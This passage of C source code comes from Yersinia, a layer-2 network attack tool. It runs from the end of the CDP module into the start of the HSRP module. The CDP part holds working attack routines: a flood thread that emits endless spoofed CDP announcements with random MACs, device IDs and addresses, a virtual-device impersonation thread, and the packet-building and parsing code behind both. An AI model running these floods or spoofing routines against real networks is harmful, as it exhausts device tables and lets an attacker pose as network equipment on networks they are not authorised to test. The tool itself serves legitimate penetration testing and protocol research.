pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void cdp_th_flood(void *arg) { struct attacks *attacks=NULL; struct cdp_data *cdp_data; u_int8_t device[8]; sigset_t mask; u_int32_t aux_long, lbl32; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("cdp_th_flood pthread_sigmask()",errno); cdp_th_flood_exit(attacks); } cdp_data = attacks->data; cdp_data->version = CDP_DFL_VERSION; parser_vrfy_mac("01:00:0C:CC:CC:CC", cdp_data->mac_dest); /* Max TTL */ cdp_data->ttl = 255; aux_long = CDP_CAP_LEVEL3_ROUTING; /* Create packet */ cdp_create_tlv_item(cdp_data, CDP_TYPE_DEVID, "yersinia"); lbl32 = libnet_get_prand(LIBNET_PRu32); cdp_create_tlv_item(cdp_data, CDP_TYPE_ADDRESS, (u_int32_t *)&lbl32); cdp_create_tlv_item(cdp_data, CDP_TYPE_PORTID, "Ethernet0"); cdp_create_tlv_item(cdp_data, CDP_TYPE_CAPABILITY, (u_int8_t *)&aux_long); cdp_create_tlv_item(cdp_data, CDP_TYPE_VERSION, VERSION); cdp_create_tlv_item(cdp_data, CDP_TYPE_PLATFORM, "yersinia"); while(!attacks->attack_th.stop) { /* Change MAC */ attack_gen_mac(cdp_data->mac_source); /* Change DEVICEID */ parser_get_random_string(device, 8); if (cdp_update_tlv_item(cdp_data, CDP_TYPE_DEVID, (void *)device) < 0) { write_log(0, "Error in cdp_update_tlv_item\n"); cdp_th_flood_exit(attacks); } /* Change Address */ lbl32 = libnet_get_prand(LIBNET_PRu32); if (cdp_update_tlv_item(cdp_data, CDP_TYPE_ADDRESS, (void *)&lbl32) < 0) { write_log(0, "Error in cdp_update_tlv_item\n"); cdp_th_flood_exit(attacks); } /* Change CAPABILITIES */ aux_long = parser_get_random_int(128); if (cdp_update_tlv_item(cdp_data, CDP_TYPE_CAPABILITY, (void *)&aux_long) < 0) { write_log(0, "Error in cdp_update_tlv_item\n"); cdp_th_flood_exit(attacks); } /* Send the packet */ cdp_send(attacks); #ifdef NEED_USLEEP thread_usleep(100000); #endif } cdp_th_flood_exit(attacks); } void cdp_th_flood_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void cdp_th_virtual_device(void *arg) { struct attacks *attacks=NULL; struct cdp_data *cdp_data; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("cdp_th_virtual_device pthread_sigmask()",errno); cdp_th_virtual_device_exit(attacks); } cdp_data = attacks->data; thread_create(&attacks->helper_th.id, &cdp_send_hellos, attacks); while (!attacks->attack_th.stop) thread_usleep(200000); cdp_th_virtual_device_exit(attacks); } void cdp_th_virtual_device_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void cdp_send_hellos(void *arg) { u_int32_t ret; u_int16_t secs; struct timeval hello; struct attacks *attacks; struct cdp_data *cdp_data; attacks = arg; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); hello.tv_sec = 0; hello.tv_usec = 0; cdp_data = attacks->data; secs = 0; write_log(0,"\n cdp_helper: %d started...\n",(int)pthread_self()); cdp_send(attacks); while(!attacks->helper_th.stop) { if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) { thread_error("Error in select", errno); break; } if ( !ret ) /* Timeout... */ { /* Default hello time is ttl / 3, min 5 secs */ if (secs == ((cdp_data->ttl / 3) > 5 ? (cdp_data->ttl / 3) : 5)) /* Send CDP hello...*/ { cdp_send(attacks); secs=0; } else secs++; } hello.tv_sec = 1; hello.tv_usec = 0; } write_log(0," cdp_helper: %d finished...\n",(int)pthread_self()); pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } int8_t cdp_create_tlv_item(struct cdp_data *cdp_data, u_int16_t type, void *value) { u_int16_t aux_short; u_int32_t aux_long; u_int8_t len; switch(type) { case CDP_TYPE_DEVID: case CDP_TYPE_PORTID: case CDP_TYPE_VERSION: case CDP_TYPE_PLATFORM: len = strlen(value) + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)(cdp_data->options + cdp_data->options_len), (void *)&aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)(cdp_data->options + cdp_data->options_len + 2), (void *)&aux_short, 2); /* Value */ memcpy((void *)(cdp_data->options + cdp_data->options_len + 4), (void *)value, len - 4); cdp_data->options_len += len; } else return -1; break; case CDP_TYPE_ADDRESS: len = 13 + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2); /* Value */ /* Number of IP */ aux_long = htonl(0x00000001); memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4); /* Type */ memcpy((void *)cdp_data->options + cdp_data->options_len + 8, "\x01", 1); /* NLPID */ /* Length */ memcpy((void *)cdp_data->options + cdp_data->options_len + 9, "\x01", 1); /* Protocol */ memcpy((void *)cdp_data->options + cdp_data->options_len + 10, "\xcc", 1); /* IP */ /* Length */ aux_short = htons(0x0004); memcpy((void *)cdp_data->options + cdp_data->options_len + 11, &aux_short, 2); /* IP */ /* aux_long = ntohl(addr.s_addr);*/ memcpy((void *)cdp_data->options + cdp_data->options_len + 13, (void *)value, 4); cdp_data->options_len += len; } else return -1; break; case CDP_TYPE_CAPABILITY: len = 4 + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2); /* Value */ aux_long = htonl((*(u_int32_t *)value)); memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4); cdp_data->options_len += len; } else return -1; break; default: len = strlen(value) + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)(cdp_data->options + cdp_data->options_len), (void *)&aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)(cdp_data->options + cdp_data->options_len + 2), (void *)&aux_short, 2); /* Value */ memcpy((void *)(cdp_data->options + cdp_data->options_len + 4), (void *)value, len - 4); cdp_data->options_len += len; } else return -1; break; } return 0; } int8_t cdp_update_tlv_item(struct cdp_data *cdp_data, u_int16_t type, char *value) { u_int8_t i, value_len, j; u_int16_t len, aux_short, offset; u_int32_t aux_long; int8_t gap; i = 0; offset = 0; /* Find the TLV */ while ((i < MAX_TLV) && (offset < cdp_data->options_len)) { if (ntohs((*(u_int16_t *)(cdp_data->options + offset + 2))) > cdp_data->options_len) { return -1; /* Oversized packet */ } len = ntohs((*(u_int16_t *)(cdp_data->options + offset + 2))); if (ntohs((*(u_int16_t *)(cdp_data->options + offset))) == type) { /* found */ switch(type) { case CDP_TYPE_DEVID: case CDP_TYPE_PORTID: case CDP_TYPE_VERSION: case CDP_TYPE_PLATFORM: value_len = strlen(value); if ((cdp_data->options_len + value_len - (len - 4)) > (MAX_TLV * MAX_VALUE_LENGTH)) { write_log(0, "Trying to create oversized options\n"); return -1; } gap = value_len - (len - 4); if (gap > 0) { /* Shift right */ for (j = cdp_data->options_len - 1; j >= offset + len; j--) cdp_data->options[j+gap] = cdp_data->options[j]; } else if (gap < 0) { /* Shift left */ for (j = offset + len; j < cdp_data->options_len; j++) cdp_data->options[j+gap] = cdp_data->options[j]; } /* Compute real size */ if (gap != 0) { aux_short = htons(len + gap); memcpy((void *)(cdp_data->options+offset+2), &aux_short, 2); cdp_data->options_len += gap; } memcpy((void *)(cdp_data->options+offset+4), value, value_len); return 0; break; case CDP_TYPE_CAPABILITY: aux_long = htonl((*(u_int32_t *)value)); memcpy((void *)(cdp_data->options+offset+4), &aux_long, 4); return 0; break; case CDP_TYPE_ADDRESS: memcpy((void *)cdp_data->options + offset + 13, (void *)value, 4); return 0; break; } } i++; offset += len; } return 0; } int8_t cdp_edit_tlv(struct term_node *node, u_int8_t action, u_int8_t pointer, u_int16_t type, u_int8_t *value) { u_int8_t i; u_int16_t len, offset; u_int16_t aux_short; u_int32_t aux_long; struct cdp_data *cdp_data; i = 0; offset = 0; cdp_data = (struct cdp_data *) node->protocol[PROTO_CDP].tmp_data; switch(action) { case TLV_DELETE: /* Find the TLV */ while ((i < MAX_TLV) && (offset < cdp_data->options_len)) { if (ntohs((*(u_int16_t *)(cdp_data->options + offset + 2))) > cdp_data->options_len) { return -1; /* Oversized packet */ } len = ntohs((*(u_int16_t *)(cdp_data->options + offset + 2))); if (i == pointer) { cdp_data->options_len -= len; memcpy((void *)(cdp_data->options + offset), (void *)(cdp_data->options + offset + len), cdp_data->options_len - offset); /* Space left in options should be zero */ memset((void *)(cdp_data->options + cdp_data->options_len), 0, MAX_TLV*MAX_VALUE_LENGTH - cdp_data->options_len); return 0; } i++; offset += len; } break; case TLV_ADD: switch(type) { case CDP_TYPE_DEVID: case CDP_TYPE_PORTID: case CDP_TYPE_VERSION: case CDP_TYPE_PLATFORM: len = strlen((char *)value) + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)(cdp_data->options + cdp_data->options_len), (void *)&aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)(cdp_data->options + cdp_data->options_len + 2), (void *)&aux_short, 2); /* Value */ memcpy((void *)(cdp_data->options + cdp_data->options_len + 4), (void *)value, len - 4); cdp_data->options_len += len; } else return -1; break; case CDP_TYPE_ADDRESS: len = 13 + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2); /* Value */ /* Number of IP */ aux_long = htonl(0x00000001); memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4); /* Type */ memcpy((void *)cdp_data->options + cdp_data->options_len + 8, "\x01", 1); /* NLPID */ /* Length */ memcpy((void *)cdp_data->options + cdp_data->options_len + 9, "\x01", 1); /* Protocol */ memcpy((void *)cdp_data->options + cdp_data->options_len + 10, "\xcc", 1); /* IP */ /* Length */ aux_short = htons(0x0004); memcpy((void *)cdp_data->options + cdp_data->options_len + 11, &aux_short, 2); /* IP */ /* aux_long = ntohl(addr.s_addr);*/ memcpy((void *)cdp_data->options + cdp_data->options_len + 13, (void *)value, 4); cdp_data->options_len += len; } else return -1; break; case CDP_TYPE_CAPABILITY: len = 4 + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2); /* Value */ aux_long = htonl((*(u_int32_t *)value)); memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4); cdp_data->options_len += len; } else return -1; break; } break; } return -1; } /* * Return formated strings of each CDP field */ char ** cdp_get_printable_packet(struct pcap_data *data) { struct libnet_802_3_hdr *ether; u_char *cdp_data, *ptr; char *buf_ptr, *buf_ptr_orig; u_int8_t i, k; #ifdef LBL_ALIGN u_int16_t aux_short; #endif char **field_values; char buffer[4096]; u_int16_t type, len; u_int32_t total_len; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_CDP].nparams, protocols[PROTO_CDP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; cdp_data = (u_char *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ snprintf(field_values[CDP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[CDP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); /* Version */ snprintf(field_values[CDP_VER], 3, "%02X", *((u_char *)cdp_data)); /* TTL */ snprintf(field_values[CDP_TTL], 3, "%02X", *((u_char *)cdp_data+1)); /* Checksum */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,cdp_data+2,2); snprintf(field_values[CDP_CHECKSUM], 5, "%04X", ntohs(aux_short)); #else snprintf(field_values[CDP_CHECKSUM], 5, "%04X", ntohs(*(u_int16_t *)(cdp_data+2))); #endif ptr = cdp_data + 4; buf_ptr_orig = buf_ptr = buffer; i = 0; memset((void *)buffer, 0, 4096); total_len = 0; /* now the tlv section starts */ while((ptr < data->packet + data->header->caplen) && (i < MAX_TLV)) { if ((ptr+4) > ( data->packet + data->header->caplen)) /* Undersized packet !! */ /* return NULL;*/ break; #ifdef LBL_ALIGN memcpy((void *)&aux_short,ptr,2); type = ntohs(aux_short); memcpy((void*)&aux_short,(ptr+2),2); len = ntohs(aux_short); #else type = ntohs(*(u_int16_t *)ptr); len = ntohs(*(u_int16_t *)(ptr + 2)); #endif if ((ptr + len) > data->packet + data->header->caplen) return NULL; /* Oversized packet!! */ if (!len) break; /* * TLV len must be at least 5 bytes (header + data). * Anyway i think we can give a chance to the rest * of TLVs... ;) */ if (len >= 4) { /* First we get the type */ k = 0; while(cdp_type_desc[k].desc) { if (cdp_type_desc[k].type == type) { strncpy(buf_ptr, cdp_type_desc[k].desc, strlen((char *)cdp_type_desc[k].desc)); buf_ptr += strlen((char *)cdp_type_desc[k].desc) + 1; total_len += strlen((char *)cdp_type_desc[k].desc) + 1; /* Now copy the value */ switch(type) { case CDP_TYPE_DEVID: case CDP_TYPE_PORTID: case CDP_TYPE_VERSION: case CDP_TYPE_PLATFORM: case CDP_TYPE_VTP_MGMT_DOMAIN: case CDP_TYPE_SYSTEM_NAME: case CDP_TYPE_LOCATION: if ((len-4) < MAX_VALUE_LENGTH) { memcpy(buf_ptr, ptr+4, len-4); buf_ptr += len - 4 + 1; total_len += len - 4 + 1; } else { memcpy(buf_ptr, ptr+4, MAX_VALUE_LENGTH); buf_ptr += MAX_VALUE_LENGTH + 1; total_len += MAX_VALUE_LENGTH + 1; /* tlv[i][MAX_VALUE_LENGTH-2] = '|'; tlv[i].value[MAX_VALUE_LENGTH-1] = '\0';*/ } break; case CDP_TYPE_ADDRESS: case CDP_TYPE_MANAGEMENT_ADDR: /* Only get the 1st IP address */ if ((*(ptr+8) == 0x01) && (*(ptr+9) == 0x01) && (*(ptr+10) == 0xcc)) { parser_get_formated_inet_address(ntohl((*(u_int32_t *)(ptr + 13))), buf_ptr, 16); buf_ptr += 16; total_len += 16; } else { *buf_ptr = '\0'; buf_ptr++; total_len++; } break; case CDP_TYPE_CAPABILITY: /* 4 byte field */ if (len == 8) { snprintf(buf_ptr, 9, "%02X%02X%02X%02X", *(ptr+4), *(ptr+5), *(ptr+6), *(ptr+7)); /* cdp->tlv[i].value[8] = '\0';*/ buf_ptr += 9; total_len += 9; } break; /* case CDP_TYPE_IPPREFIX: case CDP_TYPE_PROTOCOL_HELLO:*/ case CDP_TYPE_NATIVE_VLAN: snprintf(buf_ptr, 5, "%04X", ntohs(*((u_int16_t *)(ptr+4)))); buf_ptr += 5; total_len += 5; break; case CDP_TYPE_DUPLEX: case CDP_TYPE_TRUST_BITMAP: case CDP_TYPE_UNTRUSTED_COS: snprintf(buf_ptr, 3, "%02X", *((u_int8_t *)(ptr+4))); buf_ptr += 3; total_len += 3; break; /* case CDP_TYPE_VOIP_VLAN_REPLY: case CDP_TYPE_VOIP_VLAN_QUERY: case CDP_TYPE_MTU: case CDP_TYPE_SYSTEM_OID:*/ default: *buf_ptr = '\0'; buf_ptr++; total_len++; break; } } k++; } } i++; ptr += len; } if (total_len > 0) { if ((field_values[CDP_TLV] = (char *) calloc(1, total_len)) == NULL) write_log(0, "error in calloc\n"); memcpy((void *)field_values[CDP_TLV], (void *)buffer, total_len); } return (char **)field_values; } char ** cdp_get_printable_store(struct term_node *node) { struct cdp_data *cdp; struct commands_param_extra_item *item; dlist_t *p; #ifdef LBL_ALIGN u_int16_t aux_short; #endif u_int8_t *ptr, i, k, j; char **field_values; char buffer[4096], *buf_ptr; u_int16_t type, len, total; /* smac + dmac + version + ttl + checksum + tlv + null = 7 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_CDP].nparams, protocols[PROTO_CDP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) cdp = protocols[PROTO_CDP].default_values; else cdp = (struct cdp_data *) node->protocol[PROTO_CDP].tmp_data; /* Source MAC */ snprintf(field_values[CDP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", cdp->mac_source[0], cdp->mac_source[1], cdp->mac_source[2], cdp->mac_source[3], cdp->mac_source[4], cdp->mac_source[5]); /* Destination MAC */ snprintf(field_values[CDP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", cdp->mac_dest[0], cdp->mac_dest[1], cdp->mac_dest[2], cdp->mac_dest[3], cdp->mac_dest[4], cdp->mac_dest[5]); /* Version */ snprintf(field_values[CDP_VER], 3, "%02X", cdp->version); /* TTL */ snprintf(field_values[CDP_TTL], 3, "%02X", cdp->ttl); /* Checksum */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, (void *)&cdp->checksum, 2); snprintf(field_values[CDP_CHECKSUM], 5, "%04X", aux_short); #else snprintf(field_values[CDP_CHECKSUM], 5, "%04X", cdp->checksum); #endif memset((void *)buffer, 0, 4096); buf_ptr = buffer; total = 0; /* TLV */ /* Take care: options in the store are stored in network byte order */ for (p=cdp->extra;p;p=dlist_next(cdp->extra, p)) { item = (struct commands_param_extra_item *) dlist_data(p); ptr = item->value; i = 0; while(i < protocols[PROTO_CDP].extra_nparams) { if (protocols[PROTO_CDP].extra_parameters[i].id == item->id) { strncpy(buf_ptr, protocols[PROTO_CDP].extra_parameters[i].ldesc, strlen((char *)protocols[PROTO_CDP].extra_parameters[i].ldesc)); buf_ptr += strlen(protocols[PROTO_CDP].extra_parameters[i].ldesc) + 1; total += strlen(protocols[PROTO_CDP].extra_parameters[i].ldesc) + 1; /* Now copy the value */ strncpy(buf_ptr, (char *)ptr, protocols[PROTO_CDP].extra_parameters[i].size_print); total += strlen(buf_ptr) + 1; buf_ptr += strlen(buf_ptr) + 1; #ifdef KK switch(protocols[PROTO_CDP].extra_parameters[i].type) { case FIELD_HEX: case FIELD_STR: strncpy(buf_ptr, (char *)ptr, protocols[PROTO_CDP].extra_parameters[i].size_print); total += strlen(buf_ptr) + 1; buf_ptr += strlen(buf_ptr) + 1; break; case FIELD_HEX: for (j = 0; j < protocols[PROTO_CDP].extra_parameters[i].size_print;j++) { snprintf(buf_ptr, 3, "%02X", *(ptr)); ptr++; buf_ptr++; total++; } break; case CDP_TYPE_ADDRESS: case CDP_TYPE_MANAGEMENT_ADDR: /* Only get the 1st IP address */ if ((*(ptr+8) == 0x01) && (*(ptr+9) == 0x01) && (*(ptr+10) == 0xcc)) { parser_get_formated_inet_address(ntohl((*(u_int32_t *)(ptr + 13))), tlv, 16); tlv += 16; total += 16; } else { *tlv = '\0'; tlv++; } break; case CDP_TYPE_CAPABILITY: /* 4 byte field */ if (len == 8) { snprintf(tlv, 9, "%02X%02X%02X%02X", *(ptr+4), *(ptr+5), *(ptr+6), *(ptr+7)); tlv += 9; total += 9; } break; /* case CDP_TYPE_IPPREFIX: case CDP_TYPE_PROTOCOL_HELLO:*/ case CDP_TYPE_NATIVE_VLAN: snprintf(tlv, 5, "%04X", ntohs(*((u_int16_t *)(ptr+4)))); tlv += 5; total += 5; break; case CDP_TYPE_DUPLEX: case CDP_TYPE_TRUST_BITMAP: case CDP_TYPE_UNTRUSTED_COS: snprintf(tlv, 3, "%02X", *((u_int8_t *)(ptr+4))); tlv += 3; total += 3; break; /* case CDP_TYPE_VOIP_VLAN_REPLY: case CDP_TYPE_VOIP_VLAN_QUERY: case CDP_TYPE_MTU: case CDP_TYPE_SYSTEM_OID:*/ default: buf_ptr = '\0'; buf_ptr++; total++; break; } #endif } i++; } } buf_ptr = '\0'; total++; if (total > 0) { if ((field_values[CDP_TLV] = (char *) calloc(1, total)) == NULL) write_log(0, "error in calloc\n"); memcpy((void *)field_values[CDP_TLV], (void *)buffer, total); } return (char **)field_values; } char * cdp_get_type_info(u_int16_t type) { u_int8_t i; i = 0; while (cdp_type_desc[i].desc) { if (cdp_type_desc[i].type == type) return cdp_type_desc[i].desc; i++; } return "(Unknown)"; } /* Take care: options in the store are stored in network byte order */ int8_t cdp_load_values(struct pcap_data *data, void *values) { struct libnet_802_3_hdr *ether; struct cdp_data *cdp; struct commands_param_extra_item *newitem; u_char *cdp_data, *ptr; #ifdef LBL_ALIGN u_int16_t aux_short; #endif u_int8_t i; u_int16_t type, len, total; cdp = (struct cdp_data *)values; ether = (struct libnet_802_3_hdr *) data->packet; cdp_data = (u_char *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ memcpy(cdp->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(cdp->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); /* Version */ cdp->version = *((u_int8_t *)cdp_data); /* TTL */ cdp->ttl = *((u_int8_t *)cdp_data + 1); /* Checksum... it is something boring to change the ck to 0... better we can * avoid it... #ifdef LBL_ALIGN memcpy((void *)&aux_short, cdp_data+2, 2); cdp->checksum = ntohs(aux_short); #else cdp->checksum = ntohs(*(u_int16_t *)(cdp_data + 2)); #endif */ ptr = cdp_data + 4; i = 0; total = 0; if (cdp->extra) dlist_delete(cdp->extra); /* now the tlv section starts */ while((ptr < data->packet + data->header->caplen) && (i < MAX_TLV) && (total < MAX_TLV*MAX_VALUE_LENGTH)) { if ((ptr+4) > ( data->packet + data->header->caplen)) /* Undersized packet !! */ return 0; #ifdef LBL_ALIGN memcpy((void *)&aux_short,ptr,2); type = ntohs(aux_short); memcpy((void*)&aux_short,(ptr+2),2); len = ntohs(aux_short); #else type = ntohs(*(u_int16_t *)ptr); len = ntohs(*(u_int16_t *)(ptr + 2)); #endif if ((ptr + len) > data->packet + data->header->caplen) return -1; /* Oversized packet!! */ if (!len) return 0; /* * TLV len must be at least 5 bytes (header + data). * Anyway i think we can give a chance to the rest * of TLVs... ;) */ if ((len >= 4) && (total + len < MAX_TLV*MAX_VALUE_LENGTH)) { if ((newitem = (struct commands_param_extra_item *) calloc(1, sizeof(struct commands_param_extra_item))) == NULL) { write_log(0, "Error in calloc\n"); return -1; } if ((newitem->value = (u_int8_t *) calloc(1, len - 4)) == NULL) { write_log(0, "Error in calloc\n"); return -1; } memcpy((void *)newitem->id, (void *)&type, 2); memcpy((void *)newitem->value, (void *)(ptr + 4), len - 4); cdp->extra = dlist_append(cdp->extra, (void *)newitem); } i++; ptr += len; total += len; } cdp->options_len = total; return 0; } int8_t cdp_update_field(int8_t state, struct term_node *node, void *value) { struct cdp_data *cdp_data; if (node == NULL) cdp_data = protocols[PROTO_CDP].default_values; else cdp_data = node->protocol[PROTO_CDP].tmp_data; switch(state) { /* Source MAC */ case CDP_SMAC: memcpy((void *)cdp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case CDP_DMAC: memcpy((void *)cdp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Version */ case CDP_VER: cdp_data->version = *(u_int8_t *)value; break; /* TTL */ case CDP_TTL: cdp_data->ttl = *(u_int8_t *)value; break; /* Checksum */ case CDP_CHECKSUM: cdp_data->checksum = *(u_int16_t *)value; break; default: break; } return 0; } int8_t cdp_init_attribs(struct term_node *node) { struct cdp_data *cdp_data; cdp_data = node->protocol[PROTO_CDP].tmp_data; cdp_data->version = CDP_DFL_VERSION; cdp_data->ttl = CDP_DFL_TTL; attack_gen_mac(cdp_data->mac_source); cdp_data->mac_source[0] &= 0x0E; parser_vrfy_mac("01:00:0C:CC:CC:CC", cdp_data->mac_dest); cdp_data->options_len = 0; cdp_data->extra = NULL; return 0; } void * cdp_get_extra_field(struct term_node *node, void *extra, u_int8_t write) { struct cdp_data *cdp_data; cdp_data = node->protocol[PROTO_CDP].tmp_data; if (write) cdp_data->extra = extra; return cdp_data->extra; } /* returns the checksum * WARNING: if left over bytes are present, the memory after *data has to * contain 0x00 series and should be part of the buffer * -> make the buffer for data at least count+1 bytes long ! */ u_int16_t cdp_chksum(u_int8_t *data, u_int32_t count) { u_int32_t sum; u_int16_t *wrd; sum = 0; wrd = (u_int16_t *)data; while( count > 1 ) { sum = sum + *wrd; wrd++; count -= 2; } /* Add left-over byte, if any */ if( count > 0 ) { /* printf("Left over byte: %04X\n",((*wrd & 0xFF)<<8));*/ sum = sum + ((*wrd &0xFF)<<8); } /* Fold 32-bit sum to 16 bits */ while (sum >> 16) { sum = (sum & 0xffff) + (sum >> 16); } return (~sum); } int8_t cdp_tlv_devid(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; if (cdp_create_tlv_item(node->protocol[PROTO_CDP].tmp_data, CDP_TYPE_DEVID, value) < 0) return -1; return 0; } int8_t cdp_tlv_portid(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; if (cdp_create_tlv_item(node->protocol[PROTO_CDP].tmp_data, CDP_TYPE_PORTID, value) < 0) return -1; return 0; } int8_t cdp_tlv_version(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; if (cdp_create_tlv_item(node->protocol[PROTO_CDP].tmp_data, CDP_TYPE_VERSION, value) < 0) return -1; return 0; } int8_t cdp_tlv_platform(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; if (cdp_create_tlv_item(node->protocol[PROTO_CDP].tmp_data, CDP_TYPE_PLATFORM, value) < 0) return -1; return 0; } int8_t cdp_tlv_address(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; if (cdp_create_tlv_item(node->protocol[PROTO_CDP].tmp_data, CDP_TYPE_ADDRESS, value) < 0) return -1; return 0; } int8_t cdp_end(struct term_node *node) { struct cdp_data *cdp_data; cdp_data = (struct cdp_data *) node->protocol[PROTO_CDP].tmp_data; if (cdp_data->extra) dlist_delete(cdp_data->extra); return 0; } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/hsrp.c0000644000175000017500000006173312234207266013073 0ustar nknk/* hsrp.c * Implementation and attacks for Cisco Hot Standby Router Protocol * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* HSRP functions - please read RFC 2281 before complaining!!! */ #ifndef lint static const char rcsid[] = "$Id: hsrp.c 46 2007-05-08 09:13:30Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include "hsrp.h" void hsrp_register(void) { protocol_register(PROTO_HSRP, "HSRP", "Hot Standby Router Protocol", "hsrp", sizeof(struct hsrp_data), hsrp_init_attribs, NULL, hsrp_get_printable_packet, hsrp_get_printable_store, hsrp_load_values, hsrp_attack, hsrp_update_field, hsrp_features, hsrp_comm_params, SIZE_ARRAY(hsrp_comm_params), NULL, 0, NULL, hsrp_init_comms_struct, PROTO_VISIBLE, hsrp_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t hsrp_init_comms_struct(struct term_node *node) { struct hsrp_data *hsrp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(hsrp_comm_params)); if (comm_param == NULL) { thread_error("hsrp_init_commands_struct calloc error",errno); return -1; } hsrp_data = node->protocol[PROTO_HSRP].tmp_data; node->protocol[PROTO_HSRP].commands_param = comm_param; comm_param[HSRP_SMAC] = &hsrp_data->mac_source; comm_param[HSRP_DMAC] = &hsrp_data->mac_dest; 